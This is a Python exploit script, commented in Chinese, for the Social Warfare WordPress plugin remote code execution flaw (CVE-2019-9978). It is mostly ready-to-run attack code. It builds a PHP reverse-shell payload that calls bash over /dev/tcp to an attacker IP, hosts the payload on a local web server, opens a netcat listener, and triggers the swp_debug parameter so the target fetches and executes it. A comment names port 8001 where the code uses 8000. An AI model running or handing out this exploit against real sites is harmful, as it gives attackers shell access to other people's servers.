Social Warfare WordPress Plugin 3.5.2 - 远程代码执行（RCE）

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103

#!/usr/bin/env python3

# Exploit Title: Social Warfare WordPress Plugin 3.5.2 - Remote Code Execution (RCE)
# Date: 25-06-2025
# Exploit Author: Huseyin Mardini (@housma)
# Original Researcher: Luka Sikic
# Original Exploit Author: hash3liZer
# Vendor Homepage: https://wordpress.org/plugins/social-warfare/
# Software Link: https://downloads.wordpress.org/plugin/social-warfare.3.5.2.zip
# Version: <= 3.5.2
# CVE: CVE-2019-9978
# Tested On: WordPress 5.1.1 with Social Warfare 3.5.2 (on Ubuntu 20.04)
# Python Version: Python 3.x
# Reference: https://www.exploit-db.com/exploits/46794
# Github (original PoC): https://github.com/hash3liZer/CVE-2019-9978

# 当前列出的CVE-2019-9978漏洞利用（Exploit ID 46794）在许多现代环境中似乎不再有效

# 使用方法：
#   1. 编辑下面的配置部分，将`ATTACKER_IP`替换为你的机器IP。
#   2. 运行脚本：`python3 exploit.py`
#   3. 脚本将：
#       - 创建PHP payload并保存为`payload.txt`（或在PAYLOAD_FILE中设置的文件名）
#       - 在`HTTP_PORT`上启动HTTP服务器来托管payload
#       - 在`LISTEN_PORT`上启动Netcat监听器
#       - 通过易受攻击的`swp_debug`参数触发漏洞
#   4. 成功时，你将获得一个以`www-data`用户身份的反向shell。
#
# 注意：
#   - PAYLOAD_FILE仅定义要创建和服务的文件名。
#   - 确保端口8001和4444是开放的且未被使用。

import requests
import threading
import http.server
import socketserver
import os
import subprocess
import time

# --- 配置 ---
TARGET_URL = "http://example.com"
ATTACKER_IP = "xxx.xxx.xx.xx"  # 更改为你的攻击机器IP
HTTP_PORT = 8000
LISTEN_PORT = 4444
PAYLOAD_FILE = "payload.txt"


def create_payload():
    """使用有效的PHP语法编写精确的反向shell payload"""
    payload = f'<pre>system("bash -c \\"bash -i >& /dev/tcp/{ATTACKER_IP}/{LISTEN_PORT} 0>&1\\"")</pre>'
    with open(PAYLOAD_FILE, "w") as f:
        f.write(payload)
    print(f"[+] Payload已写入 {PAYLOAD_FILE}")


def start_http_server():
    """通过HTTP提供payload"""
    handler = http.server.SimpleHTTPRequestHandler
    with socketserver.TCPServer(("", HTTP_PORT), handler) as httpd:
        print(f"[+] HTTP服务器运行在端口 {HTTP_PORT}")
        httpd.serve_forever()


def start_listener():
    """启动Netcat监听器"""
    print(f"[+] 在端口 {LISTEN_PORT} 上监听反向shell...")
    subprocess.call(["nc", "-lvnp", str(LISTEN_PORT)])


def send_exploit():
    """使用易受攻击的参数触发漏洞利用"""
    payload_url = f"http://{ATTACKER_IP}:{HTTP_PORT}/{PAYLOAD_FILE}"
    exploit = f"{TARGET_URL}/wp-admin/admin-post.php?swp_debug=load_options&swp_url={payload_url}"
    print(f"[+] 发送漏洞利用请求: {exploit}")
    try:
        requests.get(exploit, timeout=5)
    except requests.exceptions.RequestException:
        pass


def main():
    create_payload()

    # 在后台启动Web服务器
    http_thread = threading.Thread(target=start_http_server, daemon=True)
    http_thread.start()
    time.sleep(2)  # 给服务器时间启动

    # 在后台启动监听器
    listener_thread = threading.Thread(target=start_listener)
    listener_thread.start()
    time.sleep(1)

    # 发送恶意请求
    send_exploit()


if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("[-] 用户中断。")